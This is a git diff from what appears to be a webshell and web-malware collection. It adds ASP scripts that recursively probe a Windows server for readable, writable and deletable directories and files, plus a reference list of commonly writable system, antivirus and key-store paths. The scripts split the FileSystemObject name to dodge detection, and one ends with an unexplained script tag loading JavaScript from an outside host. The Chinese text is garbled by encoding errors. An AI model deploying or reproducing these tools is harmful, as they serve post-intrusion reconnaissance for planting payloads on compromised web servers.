<head runat="server">
|
||||||
|
<title></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<form id="form1" runat="server">
|
||||||
|
<div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
186
net-friend/可读写目录探测/啊D小工具 - 目录读写检测 [ASP版].asp
Normal file
186
net-friend/可读写目录探测/啊D小工具 - 目录读写检测 [ASP版].asp
Normal file
@@ -0,0 +1,186 @@
|
|||||||
|
<HTML>
|
||||||
|
<HEAD>
|
||||||
|
<TITLE><3E><>DС<44><D0A1><EFBFBD><EFBFBD> - Ŀ¼<C4BF><C2BC>д<EFBFBD><D0B4><EFBFBD><EFBFBD> [ASP<53><50>] http://www.d99net.net</TITLE>
|
||||||
|
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
|
||||||
|
<STYLE TYPE="text/css">
|
||||||
|
a {text-decoration: none}
|
||||||
|
a:hover {text-decoration: underline; color: #FF9900}
|
||||||
|
select,textarea,pre,td,th,body,input{font-family: "<22><><EFBFBD><EFBFBD>";font-size: 9pt}
|
||||||
|
.Edit { border: 1px groove #666666;}
|
||||||
|
.but1 {font-size: 9pt; border-width: 1px; cursor: hand}
|
||||||
|
</STYLE>
|
||||||
|
</HEAD>
|
||||||
|
|
||||||
|
<BODY>
|
||||||
|
<%
|
||||||
|
Response.Buffer = True
|
||||||
|
Server.ScriptTimeOut=999999999
|
||||||
|
|
||||||
|
CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject"
|
||||||
|
|
||||||
|
|
||||||
|
'<27><>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD> \
|
||||||
|
function GetFullPath(path)
|
||||||
|
GetFullPath = path
|
||||||
|
if Right(path,1) <> "\" then GetFullPath = path&"\" '<27><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> \ <20>ľͼ<C4BE><CDBC><EFBFBD>
|
||||||
|
end function
|
||||||
|
|
||||||
|
'ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||||
|
Function Deltextfile(filepath)
|
||||||
|
On Error Resume Next
|
||||||
|
Set objFSO = CreateObject(CONST_FSO)
|
||||||
|
if objFSO.FileExists(filepath) then '<27><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
objFSO.DeleteFile(filepath)
|
||||||
|
end if
|
||||||
|
Set objFSO = nothing
|
||||||
|
Deltextfile = Err.Number '<27><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
End Function
|
||||||
|
|
||||||
|
|
||||||
|
'<27><><EFBFBD><EFBFBD>Ŀ¼<C4BF>Ƿ<EFBFBD><C7B7><EFBFBD>д 0 Ϊ<>ɶ<EFBFBD>д 1Ϊ<31><CEAA>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE>
|
||||||
|
Function CheckDirIsOKWrite(DirStr)
|
||||||
|
On Error Resume Next
|
||||||
|
Set FSO = Server.CreateObject(CONST_FSO)
|
||||||
|
filepath = GetFullPath(DirStr)&fso.GettempName
|
||||||
|
FSO.CreateTextFile(filepath)
|
||||||
|
CheckDirIsOKWrite = Err.Number '<27><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if ShowNoWriteDir and (CheckDirIsOKWrite =70) then
|
||||||
|
Response.Write "[<font color=#0066FF>Ŀ¼</font>]"&DirStr&" [<font color=red>"&Err.Description&"</font>]<br>"
|
||||||
|
end if
|
||||||
|
set fout =Nothing
|
||||||
|
set FSO = Nothing
|
||||||
|
Deltextfile(filepath) 'ɾ<><C9BE><EFBFBD><EFBFBD>
|
||||||
|
if CheckDirIsOKWrite=0 and Deltextfile(filepath)=70 then CheckDirIsOKWrite =1
|
||||||
|
end Function
|
||||||
|
|
||||||
|
'<27><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(<28>˷<EFBFBD><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DEB8><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD>ܻ<EFBFBD><DCBB>е㲻<E3B2BB><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||||
|
function CheckFileWrite(filepath)
|
||||||
|
On Error Resume Next
|
||||||
|
Set FSO = Server.CreateObject(CONST_FSO)
|
||||||
|
set getAtt=FSO.GetFile(filepath)
|
||||||
|
getAtt.Attributes = getAtt.Attributes
|
||||||
|
CheckFileWrite = Err.Number
|
||||||
|
set FSO = Nothing
|
||||||
|
set getAtt = Nothing
|
||||||
|
end function
|
||||||
|
|
||||||
|
'<27><><EFBFBD><EFBFBD>Ŀ¼<C4BF>Ŀɶ<C4BF>д<EFBFBD><D0B4>
|
||||||
|
function ShowDirWrite_Dir_File(Path,CheckFile,CheckNextDir)
|
||||||
|
On Error Resume Next
|
||||||
|
Set FSO = Server.CreateObject(CONST_FSO)
|
||||||
|
B = FSO.FolderExists(Path)
|
||||||
|
set FSO=nothing
|
||||||
|
|
||||||
|
'<27>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>ʱĿ¼<C4BF><C2BC><EFBFBD>Ƿ<EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>
|
||||||
|
IS_TEMP_DIR = (instr(UCase(Path),"WINDOWS\TEMP")>0) and NoCheckTemp
|
||||||
|
|
||||||
|
if B=false then '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
'==========================================================================
|
||||||
|
Re = CheckFileWrite(Path) '<27><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>д
|
||||||
|
if Re =0 then
|
||||||
|
Response.Write "[<5B>ļ<EFBFBD>]<font color=red>"&Path&"</font><br>"
|
||||||
|
b =true
|
||||||
|
exit function
|
||||||
|
else
|
||||||
|
Response.Write "[<font color=red><3E>ļ<EFBFBD></font>]"&Path&" [<font color=red>"&Err.Description&"</font>]<br>"
|
||||||
|
exit function
|
||||||
|
end if
|
||||||
|
'==========================================================================
|
||||||
|
end if
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Path = GetFullPath(Path) '<27><> \
|
||||||
|
|
||||||
|
re = CheckDirIsOKWrite(Path) '<27><>ǰĿ¼Ҳ<C2BC><D2B2><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
|
if (re =0) or (re=1) then
|
||||||
|
Response.Write "[Ŀ¼]<font color=#0000FF>"& Path&"</font><br>"
|
||||||
|
end if
|
||||||
|
|
||||||
|
Set FSO = Server.CreateObject(CONST_FSO)
|
||||||
|
set f = fso.getfolder(Path)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if (CheckFile=True) and (IS_TEMP_DIR=false) then
|
||||||
|
b=false
|
||||||
|
'======================================
|
||||||
|
for each file in f.Files
|
||||||
|
Re = CheckFileWrite(Path&file.name) '<27><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>д
|
||||||
|
if Re =0 then
|
||||||
|
Response.Write "[<5B>ļ<EFBFBD>]<font color=red>"& Path&file.name&"</font><br>"
|
||||||
|
b =true
|
||||||
|
else
|
||||||
|
if ShowNoWriteDir then Response.Write "[<font color=red><3E>ļ<EFBFBD></font>]"&Path&file.name&" [<font color=red>"&Err.Description&"</font>]<br>"
|
||||||
|
end if
|
||||||
|
next
|
||||||
|
if b then response.Flush '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾ<EFBFBD>ˢ<EFBFBD>¿ͻ<C2BF><CDBB><EFBFBD><EFBFBD><EFBFBD>ʾ
|
||||||
|
'======================================
|
||||||
|
end if
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
'============= Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD> ================
|
||||||
|
for each file in f.SubFolders
|
||||||
|
if CheckNextDir=false then '<27>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ŀ¼
|
||||||
|
re = CheckDirIsOKWrite(Path&file.name)
|
||||||
|
if (re =0) or (re=1) then
|
||||||
|
Response.Write "[Ŀ¼]<font color=#0066FF>"& Path&file.name&"</font><br>"
|
||||||
|
end if
|
||||||
|
end if
|
||||||
|
|
||||||
|
if (CheckNextDir=True) and (IS_TEMP_DIR=false) then '<27>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ŀ¼
|
||||||
|
ShowDirWrite_Dir_File Path&file.name,CheckFile,CheckNextDir '<27>ټ<EFBFBD><D9BC><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ŀ¼
|
||||||
|
end if
|
||||||
|
next
|
||||||
|
'======================================
|
||||||
|
Set FSO = Nothing
|
||||||
|
set f = Nothing
|
||||||
|
end function
|
||||||
|
|
||||||
|
|
||||||
|
if Request("Paths") ="" then
|
||||||
|
Paths_str="c:\windows\"&chr(13)&chr(10)&"c:\Documents and Settings\"&chr(13)&chr(10)&"c:\Program Files\"
|
||||||
|
if Session("paths")<>"" then Paths_str=Session("paths")
|
||||||
|
Response.Write "<form id='form1' name='form1' method='post' action=''>"
|
||||||
|
Response.Write "<22>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC>д<EFBFBD><D0B4><EFBFBD><EFBFBD>,Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṩһЩ<D2BB><D0A9>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ!<br><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<br>"
|
||||||
|
Response.Write "<textarea name='Paths' cols='80' rows='10' class='Edit'>"&Paths_str&"</textarea>"
|
||||||
|
Response.Write "<br />"
|
||||||
|
Response.Write "<input type='submit' name='button' value='<27><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>' / class='but1'>"
|
||||||
|
Response.Write "<label for='CheckNextDir'>"
|
||||||
|
Response.Write "<input name='CheckNextDir' type='checkbox' id='CheckNextDir' checked='checked' /><3E><><EFBFBD><EFBFBD>Ŀ¼ "
|
||||||
|
Response.Write "</label>"
|
||||||
|
Response.Write "<label for='CheckFile'>"
|
||||||
|
Response.Write "<input name='CheckFile' type='checkbox' id='CheckFile' checked='checked' /><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"
|
||||||
|
Response.Write "</label>"
|
||||||
|
Response.Write "<label for='ShowNoWrite'>"
|
||||||
|
Response.Write "<input name='ShowNoWrite' type='checkbox' id='ShowNoWrite'/>"
|
||||||
|
Response.Write "<22>Խ<EFBFBD>дĿ¼<C4BF><C2BC><EFBFBD>ļ<EFBFBD></label>"
|
||||||
|
Response.Write "<label for='NoCheckTemp'>"
|
||||||
|
Response.Write "<input name='NoCheckTemp' type='checkbox' id='NoCheckTemp' checked='checked' />"
|
||||||
|
Response.Write "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱĿ¼</label>"
|
||||||
|
Response.Write "</form>"
|
||||||
|
else
|
||||||
|
Response.Write "<a href=""?""><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7></a><br>"
|
||||||
|
CheckFile = (Request("CheckFile")="on")
|
||||||
|
CheckNextDir = (Request("CheckNextDir")="on")
|
||||||
|
ShowNoWriteDir = (Request("ShowNoWrite")="on")
|
||||||
|
NoCheckTemp = (Request("NoCheckTemp")="on")
|
||||||
|
Response.Write "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>Ե<EFBFBD>......<br>"
|
||||||
|
response.Flush
|
||||||
|
|
||||||
|
Session("paths") = Request("Paths")
|
||||||
|
|
||||||
|
PathsSplit=Split(Request("Paths"),chr(13)&chr(10))
|
||||||
|
For i=LBound(PathsSplit) To UBound(PathsSplit)
|
||||||
|
if instr(PathsSplit(i),":")>0 then
|
||||||
|
ShowDirWrite_Dir_File Trim(PathsSplit(i)),CheckFile,CheckNextDir
|
||||||
|
End If
|
||||||
|
Next
|
||||||
|
Response.Write "[ɨ<><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>]<br>"
|
||||||
|
end if
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
%>
|
||||||
|
</BODY>
|
||||||
133
net-friend/可读写目录探测/啊D小工具 - 目录读写检测 [ASP版]说明.txt
Normal file
133
net-friend/可读写目录探测/啊D小工具 - 目录读写检测 [ASP版]说明.txt
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
<EFBFBD><EFBFBD>DС<EFBFBD><EFBFBD><EFBFBD><EFBFBD> - Ŀ¼<C4BF><C2BC>д<EFBFBD><D0B4><EFBFBD><EFBFBD> [ASP<53><50>]
|
||||||
|
|
||||||
|
<EFBFBD>˹<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD>ṩһ<EFBFBD><EFBFBD>Ŀ¼<EFBFBD><EFBFBD>д<EFBFBD><EFBFBD>Ϣ,Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD>ṩһ<E1B9A9><D2BB><EFBFBD>ο<EFBFBD><CEBF><EFBFBD>
|
||||||
|
<EFBFBD><EFBFBD>ASP<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ASP<EFBFBD><EFBFBD>վ<EFBFBD>ģ<EFBFBD><EFBFBD><EFBFBD>Ȼ<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>ASP<EFBFBD>ķ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>ASP<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD>
|
||||||
|
|
||||||
|
<EFBFBD><EFBFBD>D
|
||||||
|
QQ:9269563
|
||||||
|
http://www.d99net.net
|
||||||
|
2011-4-2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<EFBFBD>ṩһ<EFBFBD>³<EFBFBD><EFBFBD>õ<EFBFBD>Ŀ¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><EFBFBD>м<EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
=================================================================
|
||||||
|
C:\WINDOWS
|
||||||
|
C:\Documents and Settings
|
||||||
|
C:\Program Files
|
||||||
|
|
||||||
|
C:\WINDOWS\PCHealth
|
||||||
|
C:\WINDOWS\system32
|
||||||
|
C:\WINDOWS\Registration
|
||||||
|
C:\WINDOWS\system32\spool
|
||||||
|
C:\WINDOWS\Tasks
|
||||||
|
C:\WINDOWS\7i24.com\FreeHost
|
||||||
|
C:\WINDOWS\Temp
|
||||||
|
C:\WINDOWS\system32\spool\PRINTERS
|
||||||
|
C:\WINDOWS\Registration\CRMLog
|
||||||
|
C:\WINDOWS\PCHealth\ERRORREP\QHEADLES
|
||||||
|
C:\WINDOWS\PCHealth\ERRORREP\QSIGNOFF
|
||||||
|
c:\windows\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files\root\
|
||||||
|
|
||||||
|
c:\Program Files\Common Files
|
||||||
|
c:\Program Files\Common Files\DU Meter
|
||||||
|
C:\Program Files\Microsoft SQL Server\90\Shared
|
||||||
|
c:\Program Files\Keniu\Keniu Shadu\ProgramData
|
||||||
|
c:\Program Files\Keniu\Keniu Shadu\Temp
|
||||||
|
C:\Program Files\Microsoft SQL Server\90\Shared\ErrorDumps
|
||||||
|
c:\Program Files\KSafe\AppData\update
|
||||||
|
c:\Program Files\KSafe\AppData
|
||||||
|
c:\Program Files\KSafe\Temp\uptemp
|
||||||
|
c:\Program Files\KSafe\Temp
|
||||||
|
c:\Program Files\KSafe\webui\icon
|
||||||
|
c:\Program Files\Rising\RAV\XMLS
|
||||||
|
c:\Program Files\Rising\RAV
|
||||||
|
C:\Program Files\Zend\ZendOptimizer-3.3.0
|
||||||
|
C:\Program Files\Common Files\
|
||||||
|
c:\Program Files\Microsoft SQL Server\90\Shared\ErrorDumps
|
||||||
|
C:\Program Files\Symantec AntiVirus\SAVRT
|
||||||
|
C:\Program Files\Zend\ZendOptimizer-3.3.0\docs
|
||||||
|
c:\Program Files\Thunder Network\Thunder
|
||||||
|
D:\Program Files\Thunder Network\Thunder\ComDlls
|
||||||
|
D:\Program Files\Thunder Network\Thunder\Program
|
||||||
|
D:\Program Files\Adobe\Reader 9.0
|
||||||
|
D:\Program Files\Tencent
|
||||||
|
C:\Program Files\Symantec AntiVirus\SAVRT
|
||||||
|
C:\Program Files\Zend\ZendOptimizer-3.3.0\docs
|
||||||
|
C:\Program Files\360
|
||||||
|
C:\Program Files\360\360safe
|
||||||
|
C:\Program Files\360\360sd
|
||||||
|
C:\Program Files\360\360Se
|
||||||
|
c:\Program Files\360\360safe\deepscan\Section
|
||||||
|
c:\Program Files\360\360sd\AntiSection
|
||||||
|
c:\Program Files\360\360sd\deepscan\Section
|
||||||
|
C:\Program Files\Eset
|
||||||
|
C:\Program Files\ESET\ESET NOD32 Antivirus
|
||||||
|
C:\Program Files\WinRAR
|
||||||
|
|
||||||
|
C:\Documents and Settings\All Users
|
||||||
|
C:\Documents and Settings\All Users\DRM
|
||||||
|
C:\Documents and Settings\All Users\Application Data\macfee\
|
||||||
|
c:\Documents and Settings\All Users\Application Data
|
||||||
|
c:\Documents and Settings\All Users\Application Data\360safe
|
||||||
|
c:\Documents and Settings\All Users\Application Data\360safe\360Disabled
|
||||||
|
c:\Documents and Settings\All Users\Application Data\360safe\softmgr
|
||||||
|
c:\Documents and Settings\All Users\Application Data\360SD
|
||||||
|
c:\Documents and Settings\All Users\Application Data\VMware
|
||||||
|
c:\Documents and Settings\All Users\Application Data\VMware\Compatibility
|
||||||
|
c:\Documents and Settings\All Users\Application Data\VMware\Compatibility\native
|
||||||
|
c:\Documents and Settings\All Users\Application Data\VMware\VMware Tools
|
||||||
|
c:\Documents and Settings\All Users\Application Data\VMware\VMware Tools\Unity
|
||||||
|
c:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk
|
||||||
|
c:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures
|
||||||
|
c:\Documents and Settings\All Users\Application Data\Microsoft\HTML Help
|
||||||
|
c:\Documents and Settings\All Users\Application Data\Microsoft\Media Index
|
||||||
|
C:\Documents and Settings\All Users\Application Data\McAfee\DesktopProtection
|
||||||
|
C:\Documents and Settings\All Users\Application Data\Adobe
|
||||||
|
C:\Documents and Settings\All Users\Application Data\kingsoft\kis\KCLT
|
||||||
|
C:\Documents and Settings\All Users\Application Data\Thunder Network
|
||||||
|
C:\Documents and Settings\All Users\Application Data\VMware
|
||||||
|
c:\Documents and Settings\All Users\Application Data\Microsoft
|
||||||
|
C:\Documents and Settings\All Users\Application Data
|
||||||
|
C:\Documents and Settings\All Users\Application Data\Xunlei
|
||||||
|
C:\Documents and Settings\All Users\Application Data\Knsd
|
||||||
|
c:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\DSS\MachineKeys
|
||||||
|
c:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\RSA\MachineKeys
|
||||||
|
c:\Documents and Settings\All Users\Application Data\Microsoft\Media Index
|
||||||
|
C:\Documents and Settings\All Users\Application Data\Hagel Technologies\DU Meter
|
||||||
|
C:\Documents and Settings\All Users\Application Data\ESET\ESET NOD32 Antivirus
|
||||||
|
C:\Documents and Settings\All Users\Application Data\ESET\ESET NOD32 Antivirus\Updfiles\
|
||||||
|
C:\Documents and Settings\All Users\Application Data\ESET
|
||||||
|
C:\Documents and Settings\All Users\Documents\My Music\
|
||||||
|
C:\Documents and Settings\All Users\Documents\My Music\Sample Playlists
|
||||||
|
C:\Documents and Settings\All Users\Documents\My Music\Sync Playlists
|
||||||
|
C:\Documents and Settings\All Users\Documents\My Music\<5C>ҵIJ<D2B5><C4B2><EFBFBD><EFBFBD>б<EFBFBD> Filters\
|
||||||
|
C:\Documents and Settings\All Users\Application Data\McAfee\DesktopProtection
|
||||||
|
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere
|
||||||
|
C:\Documents and Settings\All Users\Application Data\kingsoft\kis\KCLT\
|
||||||
|
|
||||||
|
C:\php\PEAR
|
||||||
|
C:\7i24.com\iissafe\log
|
||||||
|
C:\RECYCLER
|
||||||
|
e:\recycler
|
||||||
|
f:\recycler
|
||||||
|
c:\recycler
|
||||||
|
d:\recycler
|
||||||
|
C:\php\dev
|
||||||
|
d:\~1
|
||||||
|
e:\~1
|
||||||
|
C:\~1
|
||||||
|
C:\php\dev
|
||||||
|
C:\KnsdRecycle
|
||||||
|
C:\KnsdRecycle\update
|
||||||
|
C:\KRSHistory
|
||||||
|
C:\KSafeRecycle
|
||||||
|
C:\System Volume Information
|
||||||
|
|
||||||
|
c:\
|
||||||
|
d:\
|
||||||
|
e:\
|
||||||
|
f:\
|
||||||
|
g:\
|
||||||
|
h:\
|
||||||
|
|
||||||
99
net-friend/可读写目录探测/很好用的扫可读可写目录asp脚本xwdir.asp
Normal file
99
net-friend/可读写目录探测/很好用的扫可读可写目录asp脚本xwdir.asp
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
<%
|
||||||
|
'Response.Buffer = FALSE
|
||||||
|
Server.ScriptTimeOut=999999999
|
||||||
|
Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
sPath=replace(request("sPath"),"/","\")
|
||||||
|
ShowPath=""
|
||||||
|
if sPath="" then
|
||||||
|
ShowPath="C:\Program Files\"
|
||||||
|
else
|
||||||
|
ShowPath=sPath
|
||||||
|
end if
|
||||||
|
%>
|
||||||
|
<form name="form1" method="post" action="">
|
||||||
|
<label><br>
|
||||||
|
</label>
|
||||||
|
<label> </label>
|
||||||
|
<table width="80%" border="0">
|
||||||
|
<tr>
|
||||||
|
<td><strong>·<><C2B7><EFBFBD><EFBFBD></strong>
|
||||||
|
<input name="sPath" type="text" id="sPath" value="<%=ShowPath%>" style="width:500px;height:25px">
|
||||||
|
<input style="width:160px;height:28px" type="submit" name="button" id="button" value="<22>ύ" /> <20><><EFBFBD>Զ<EFBFBD> <20><><EFBFBD>ɶ<EFBFBD> <20><><EFBFBD><EFBFBD>д <20><><EFBFBD><EFBFBD>д</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
<%
|
||||||
|
Dim i1:i1=0
|
||||||
|
if sPath<>"" then
|
||||||
|
Call Bianli(sPath)
|
||||||
|
end if
|
||||||
|
Set Fso=nothing
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
Function CheckDirIsOKWrite(DirStr)
|
||||||
|
On Error Resume Next
|
||||||
|
Fso.CreateTextFile(DirStr&"\temp.tmp")
|
||||||
|
if Err.number<>0 then
|
||||||
|
Err.Clear()
|
||||||
|
response.write " <font color=red><3E><><EFBFBD><EFBFBD>д</font>"
|
||||||
|
CheckDirIsOKWrite=0
|
||||||
|
else
|
||||||
|
response.write " <font color=green><b><3E><><EFBFBD><EFBFBD>д</b></font>"
|
||||||
|
CheckDirIsOKWrite=1
|
||||||
|
end if
|
||||||
|
End Function
|
||||||
|
Function CheckDirIsOKDel(DirStr)
|
||||||
|
On Error Resume Next
|
||||||
|
Fso.DeleteFile(DirStr&"\temp.tmp")
|
||||||
|
if Err.number<>0 then
|
||||||
|
Err.Clear()
|
||||||
|
response.write " <font color=red><3E><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE></font>"
|
||||||
|
else
|
||||||
|
response.write " <font color=green><b><3E><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE></b></font>"
|
||||||
|
end if
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Function WriteSpace(NunStr)
|
||||||
|
for iu=0 to NunStr
|
||||||
|
response.write " "
|
||||||
|
next
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Function Bianli(path)
|
||||||
|
On Error Resume Next
|
||||||
|
i1=i1+1
|
||||||
|
Set Objfolder=fso.getfolder(path)
|
||||||
|
Set Objsubfolders=objfolder.subfolders
|
||||||
|
dim t1:t1=1
|
||||||
|
WriteSpace(i1)
|
||||||
|
response.write path
|
||||||
|
SubFCount=Objsubfolders.count
|
||||||
|
if Err.number<>0 then
|
||||||
|
SubFCount=-1
|
||||||
|
Err.Clear()
|
||||||
|
end if
|
||||||
|
if SubFCount>-1 then
|
||||||
|
response.write " <font color=green><3E><><EFBFBD>Զ<EFBFBD></font>"
|
||||||
|
else
|
||||||
|
response.write " <font color=red><3E><><EFBFBD>ɶ<EFBFBD></font>"
|
||||||
|
end if
|
||||||
|
if SubFCount>-1 then
|
||||||
|
IsWrite=CheckDirIsOKWrite(path)
|
||||||
|
if IsWrite=1 then CheckDirIsOKDel(path)
|
||||||
|
For Each Objsubfolder In Objsubfolders
|
||||||
|
'response.write "<br>("&t1&"/"&Objsubfolders.count&")/<b>"&i1&"</b> "&vbcrlf
|
||||||
|
response.write "<br> "&vbcrlf
|
||||||
|
Nowpath=path + "\" + Objsubfolder.name
|
||||||
|
Set Objfolder=nothing
|
||||||
|
Set Objsubfolders=nothing
|
||||||
|
Call Bianli(nowpath)'<27>ݹ<EFBFBD>
|
||||||
|
i1=i1-1
|
||||||
|
t1=t1+1
|
||||||
|
Next
|
||||||
|
end if
|
||||||
|
End Function
|
||||||
|
%>
|
||||||
|
|
||||||
|
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
|
||||||
1632
php/fbi.php
Normal file
1632
php/fbi.php
Normal file
File diff suppressed because one or more lines are too long
1
php/h6ss.php
Normal file
1
php/h6ss.php
Normal file
File diff suppressed because one or more lines are too long
BIN
web-malware-collection-13-06-2012/PHP.7z
Normal file
BIN
web-malware-collection-13-06-2012/PHP.7z
Normal file
Binary file not shown.
Reference in New Issue
Block a user